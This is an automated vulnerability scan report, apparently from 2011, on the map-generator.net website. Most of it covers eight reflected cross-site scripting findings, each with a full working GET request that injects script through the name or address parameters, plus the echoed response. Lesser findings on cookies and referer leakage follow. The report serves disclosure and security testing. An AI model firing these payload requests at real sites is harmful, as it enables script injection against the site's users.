XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, map-generator.net

Report generated by XSS.CX at Thu Apr 28 14:16:47 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler
Loading

1. Cross-site scripting (reflected)

1.1. http://www.map-generator.net/ [address parameter]

1.2. http://www.map-generator.net/ [name parameter]

1.3. http://www.map-generator.net/extmap.php [address parameter]

1.4. http://www.map-generator.net/extmap.php [address parameter]

1.5. http://www.map-generator.net/extmap.php [name of an arbitrarily supplied request parameter]

1.6. http://www.map-generator.net/extmap.php [name parameter]

1.7. http://www.map-generator.net/map.php [address parameter]

1.8. http://www.map-generator.net/map.php [name parameter]

2. Cookie scoped to parent domain

2.1. http://www.map-generator.net/

2.2. http://www.map-generator.net/extmap.php

2.3. http://www.map-generator.net/map.php

3. Cross-domain Referer leakage

3.1. http://www.map-generator.net/

3.2. http://www.map-generator.net/

3.3. http://www.map-generator.net/

3.4. http://www.map-generator.net/

3.5. http://www.map-generator.net/extmap.php

3.6. http://www.map-generator.net/map.php

4. Cross-domain script include

4.1. http://www.map-generator.net/

4.2. http://www.map-generator.net/

4.3. http://www.map-generator.net/

4.4. http://www.map-generator.net/extmap.php

4.5. http://www.map-generator.net/map.php

5. Cookie without HttpOnly flag set

5.1. http://www.map-generator.net/

5.2. http://www.map-generator.net/extmap.php

5.3. http://www.map-generator.net/map.php

6. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.map-generator.net/ [address parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The value of the address request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dbcc"%20style%3dx%3aexpression(alert(1))%200c2aa2da5febe040 was submitted in the address parameter. This input was echoed as 3dbcc\\\" style=x:expression(alert(1)) 0c2aa2da5febe040 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /?name=Spot&address=10+market+st%2C+san+francisco3dbcc"%20style%3dx%3aexpression(alert(1))%200c2aa2da5febe040&width=500&height=400&zoom=14&maptype=map&Submit=Submit HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
Referer: http://www.map-generator.net/
Cache-Control: max-age=0
Origin: http://www.map-generator.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; mapb=1304017290; maps=1304017290; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.10.10.1304016692

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:03:06 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017290; expires=Sun, 01-May-2011 19:03:06 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017290; expires=Sat, 27-Apr-2013 19:03:06 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017386; expires=Sat, 28-May-2011 19:03:06 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017386; expires=Sat, 27-Apr-2013 19:03:06 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13232

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<input type="text" name="address" value="10 market st, san francisco3dbcc\\\" style=x:expression(alert(1)) 0c2aa2da5febe040" onfocus="if (this.value == '10 market st, san francisco') this.value = '';" size="30" maxlength="255"/>
...[SNIP]...

1.2. http://www.map-generator.net/ [name parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3edb3"%20style%3dx%3aexpression(alert(1))%20c419080a5e7c3be66 was submitted in the name parameter. This input was echoed as 3edb3\\\" style=x:expression(alert(1)) c419080a5e7c3be66 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /?name=Spot3edb3"%20style%3dx%3aexpression(alert(1))%20c419080a5e7c3be66&address=10+market+st%2C+san+francisco&width=500&height=400&zoom=14&maptype=map&Submit=Submit HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
Referer: http://www.map-generator.net/
Cache-Control: max-age=0
Origin: http://www.map-generator.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; mapb=1304017290; maps=1304017290; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.10.10.1304016692

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:30 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017290; expires=Sun, 01-May-2011 19:02:30 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017290; expires=Sat, 27-Apr-2013 19:02:30 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017350; expires=Sat, 28-May-2011 19:02:30 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017350; expires=Sat, 27-Apr-2013 19:02:30 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13646

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<input type="text" name="name" value="Spot3edb3\\\" style=x:expression(alert(1)) c419080a5e7c3be66" onfocus="if (this.value == 'Spot') this.value = '';" size="30" maxlength="255"/>
...[SNIP]...

1.3. http://www.map-generator.net/extmap.php [address parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The value of the address request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6c6c"%20style%3dx%3aexpression(alert(1))%2058d6d814413 was submitted in the address parameter. This input was echoed as b6c6c\\\" style=x:expression(alert(1)) 58d6d814413 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c"%20style%3dx%3aexpression(alert(1))%2058d6d814413&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
Referer: http://www.networkvigilance.com/main/Company/ContactUs.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:28:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939727; expires=Sat, 30-Apr-2011 21:28:47 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1303939727; expires=Fri, 27-May-2011 21:28:47 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 8490

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr
...[SNIP]...
atellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Network Vigilance @ 10731 Treena Street, Suite 200, San Diego, CA 92131b6c6c\\\" style=x:expression(alert(1)) 58d6d814413" />
...[SNIP]...

1.4. http://www.map-generator.net/extmap.php [address parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The value of the address request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3c115%3balert(1)//fbe2485e9c1 was submitted in the address parameter. This input was echoed as 3c115;alert(1)//fbe2485e9c1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(alert(1))%2058d6d8144133c115%3balert(1)//fbe2485e9c1&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: maps=1303940766; mapb=1303939727; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.2.10.1304016692

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 18:54:07 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939727; expires=Sun, 01-May-2011 18:54:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1303940766; expires=Sat, 27-Apr-2013 18:54:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304016847; expires=Sat, 28-May-2011 18:54:07 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 8627

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr
...[SNIP]...
TypeControl());
var point = new GLatLng(32.9132235,-117.1137901);
var marker = createMarker(point,"10731 Treena Street, Suite 200, San Diego, CA 92131b6c6c\\\\" style=x:expression(alert(1)) 58d6d8144133c115;alert(1)//fbe2485e9c1","<div id=\"gmapmarker\">
...[SNIP]...

1.5. http://www.map-generator.net/extmap.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1a41"%20style%3dx%3aexpression(alert(1))%2015376975211 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e1a41\\\" style=x:expression(alert(1)) 15376975211 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /extmap.php?name=Network%2520Vigilance&address=10731%2520Treena%2520Street%252C%2520Suite%2520200%252C%2520San%2520Diego%252C%2520CA%252092131b6c6c%2522%2520style%253dx%253aexpression(ale/e1a41"%20style%3dx%3aexpression(alert(1))%2015376975211rt(1 HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:03:13 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:03:13 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:03:13 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017393; expires=Sat, 28-May-2011 19:03:13 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8164

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr
...[SNIP]...
ter your address and copy a small HTML snippet onto you web page. - Network%20Vigilance @ 10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(ale/e1a41\\\" style=x:expression(alert(1)) 15376975211rt(1" />
...[SNIP]...

1.6. http://www.map-generator.net/extmap.php [name parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1f93"%20style%3dx%3aexpression(alert(1))%207c41acb6973 was submitted in the name parameter. This input was echoed as a1f93\\\" style=x:expression(alert(1)) 7c41acb6973 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /extmap.php?name=Network%20Vigilancea1f93"%20style%3dx%3aexpression(alert(1))%207c41acb6973&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
Referer: http://www.networkvigilance.com/main/Company/ContactUs.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:27:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939676; expires=Sat, 30-Apr-2011 21:27:56 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1303939676; expires=Fri, 27-May-2011 21:27:56 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 8432

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr
...[SNIP]...
nt="Free Maps Generator to gently embed your own Map/Satellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Network Vigilancea1f93\\\" style=x:expression(alert(1)) 7c41acb6973 @ 10731 Treena Street, Suite 200, San Diego, CA 92131" />
...[SNIP]...

1.7. http://www.map-generator.net/map.php [address parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /map.php

Issue detail

The value of the address request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80eeb"%20style%3dx%3aexpression(alert(1))%203f11a904dd1 was submitted in the address parameter. This input was echoed as 80eeb\\\" style=x:expression(alert(1)) 3f11a904dd1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /map.php?name=Spot&address=10%20market%20st%2C%20san%20francisco80eeb"%20style%3dx%3aexpression(alert(1))%203f11a904dd1&width=500&height=400&maptype=map&zoom=14&t=1304017254 HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:57 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:57 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017377; expires=Sat, 28-May-2011 19:02:57 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8010

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Map / Street Map - Spot @ 10 market st, san francisco80eeb\\\" style=x:expression(alert(1)) 3f11a904dd1<
...[SNIP]...
erator to gently embed your own Map/Satellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Spot @ 10 market st, san francisco80eeb\\\" style=x:expression(alert(1)) 3f11a904dd1" />
...[SNIP]...

1.8. http://www.map-generator.net/map.php [name parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /map.php

Issue detail

The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0af6"%20style%3dx%3aexpression(alert(1))%203d7a3a57799 was submitted in the name parameter. This input was echoed as b0af6\\\" style=x:expression(alert(1)) 3d7a3a57799 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /map.php?name=Spotb0af6"%20style%3dx%3aexpression(alert(1))%203d7a3a57799&address=10%20market%20st%2C%20san%20francisco&width=500&height=400&maptype=map&zoom=14&t=1303940766 HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:42 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:42 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017362; expires=Sat, 28-May-2011 19:02:42 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8415

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Map / Street Map - Spotb0af6\\\" style=x:expression(alert(1)) 3d7a3a57799 @ 10 market st, san francisco<
...[SNIP]...
iption" content="Free Maps Generator to gently embed your own Map/Satellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Spotb0af6\\\" style=x:expression(alert(1)) 3d7a3a57799 @ 10 market st, san francisco" />
...[SNIP]...

2. Cookie scoped to parent domain  previous  next
There are 3 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


2.1. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mapb=1303939626; __utmz=22393895.1303939641.1.1.utmcsr=networkvigilance.com|utmccn=(referral)|utmcmd=referral|utmcct=/main/Company/ContactUs.htm; __utma=22393895.2116306113.1303939641.1303939641.1303939641.1; __utmc=22393895; __utmb=22393895.2.10.1303939641

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:46:07 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939626; expires=Sat, 30-Apr-2011 21:46:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1303940767; expires=Fri, 27-May-2011 21:46:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1303940767; expires=Fri, 26-Apr-2013 21:46:07 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13373

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...

2.2. http://www.map-generator.net/extmap.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(alert(1))%2058d6d814413&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: maps=1303940766; mapb=1303939727; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.2.10.1304016692

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 18:52:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939727; expires=Sun, 01-May-2011 18:52:11 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1303940766; expires=Sat, 27-Apr-2013 18:52:11 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304016731; expires=Sat, 28-May-2011 18:52:11 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 8483

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr
...[SNIP]...

2.3. http://www.map-generator.net/map.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /map.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /map.php HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
